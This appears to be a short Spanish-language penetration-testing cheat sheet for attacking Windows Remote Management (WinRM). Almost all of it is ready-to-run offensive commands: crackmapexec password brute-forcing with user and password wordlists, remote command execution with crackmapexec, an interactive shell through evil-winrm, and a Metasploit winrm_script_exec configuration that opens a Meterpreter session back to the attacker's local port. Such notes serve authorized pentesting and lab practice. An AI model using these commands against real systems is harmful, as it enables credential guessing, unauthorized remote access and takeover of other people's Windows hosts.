WinRM

Fuerza bruta con Crackmapexec

┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
crackmapexec winrm <IP> -u <user(administrator)/lista_usuarios.txt> -p <diccionario de contraseñas>
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Ejecución de comandos con crackmapexec

┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
crackmapexec winrm <IP> -u <usuario> -p <contraseña> -x <command> (whoami)
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Consola interactiva con Evil-WinRM (PowerShell)

┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
evil-winrm -u <user> -p ‘<contraseña>’ -i <IP>
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Obtener consola Meterpreter con Metasploit

Usamos el módulo: exploit/windows/winrm/winrm_script_exec

┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
use exploit/windows/winrm/winrm_script_exec

set RHOSTS <IP víctma>
set RPORT <Puerto de winrm vícitma>
set LPORT <Local Port>
set FORCE_VBS true
set USERNAME <user>
set PASSWORD <password>
exploit
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────